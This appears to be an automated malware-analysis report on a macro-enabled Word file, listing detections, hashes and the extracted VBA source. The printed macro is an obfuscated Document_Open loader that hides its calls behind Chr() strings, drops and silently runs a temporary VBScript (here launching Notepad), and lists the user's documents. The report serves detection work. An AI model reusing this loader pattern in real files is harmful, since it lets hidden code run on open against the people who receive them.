Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 127d899a35100efd…

MALICIOUS

Office (OOXML) / .DOCX

18.9 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-30
MD5: 9a286fccdc184ec0518d9ff3b5da508e SHA-1: 49f3696646fd685516125f09973f4f9f01763543 SHA-256: 127d899a35100efd5eb0d95cbc8c3bc170e174f5ae7fd34e7f910bd4544505a0
350 Risk Score

Heuristics 8

  • ClamAV: Win.Worm.IFeel-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Worm.IFeel-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Dim shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set fso = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://uithcm-my.sharepoint.com/personal/23520498_ms_uit_edu_vn/Documents/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3752 bytes
SHA-256: 032db9b6551c818e7ace5210570c0542fab599608dd410d0217bfcf26fa2a938
Detection
ClamAV: Win.Worm.IFeel-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim fso As Object
    Dim ts As Object
    Dim tempFolder As String
    Dim tempVBS As String
    Dim vbsContent As String
    Dim shell As Object
    Dim docsFolder As String
    Dim folder As Object
    Dim file As Object
    Dim targetExtensions As Variant
    Dim i As Integer
    
    ' Initialize FileSystemObject
    Set fso = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116))
    
    ' Create a temporary .vbs file
    tempFolder = fso.GetSpecialFolder(2) ' TemporaryFolder
    tempVBS = tempFolder & Chr(92) & fso.GetTempName & Chr(46) & Chr(118) & Chr(98) & Chr(115)
    
    ' VBS content to execute a harmless command
    vbsContent = Chr(83) & Chr(101) & Chr(116) & Chr(32) & Chr(87) & Chr(115) & Chr(104) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(32) & Chr(61) & Chr(32) & Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(67) & Chr(114) & Chr(101) & Chr(97) & Chr(116) & Chr(101) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(40) & Chr(34) & Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(34) & Chr(41) & Chr(10)
    vbsContent = vbsContent & Chr(87) & Chr(115) & Chr(104) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(82) & Chr(117) & Chr(110) & Chr(32) & Chr(34) & Chr(110) & Chr(111) & Chr(116) & Chr(101) & Chr(112) & Chr(97) & Chr(100) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(34) & Chr(44) & Chr(32) & Chr(48) & Chr(44) & Chr(32) & Chr(84) & Chr(114) & Chr(117) & Chr(101) & Chr(10)
    
    ' Write VBS content to file
    Set ts = fso.CreateTextFile(tempVBS, True)
    ts.Write vbsContent
    ts.Close
    
    ' Execute the .vbs file
    Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
    shell.Run Chr(119) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & tempVBS, 0, True
    
    ' Discovery: Search for specific document types in the Documents folder
    docsFolder = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)) & Chr(46) & Chr(83) & Chr(112) & Chr(101) & Chr(99) & Chr(105) & Chr(97) & Chr(108) & Chr(70) & Chr(111) & Chr(108) & Chr(100) & Chr(101) & Chr(114) & Chr(115) & Chr(40) & Chr(34) & Chr(77) & Chr(121) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115) & Chr(34) & Chr(41)
    Set folder = fso.GetFolder(docsFolder)
    targetExtensions = Array(Chr(46) & Chr(112) & Chr(100) & Chr(102), Chr(46) & Chr(100) & Chr(111) & Chr(99) & Chr(120))
    
    For Each file In folder.Files
        For i = LBound(targetExtensions) To UBound(targetExtensions)
            If LCase(fso.GetExtensionName(file.Name)) = LCase(targetExtensions(i)) Then
                ' Perform harmless actions on discovered files (e.g., log metadata)
            End If
        Next i
    Next file
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: cea0541de80c35703c96ac799bb1cad61a164c98faba2df0263aa116d27f7dab
Detection
ClamAV: Win.Worm.IFeel-1
Obfuscation or payload: unlikely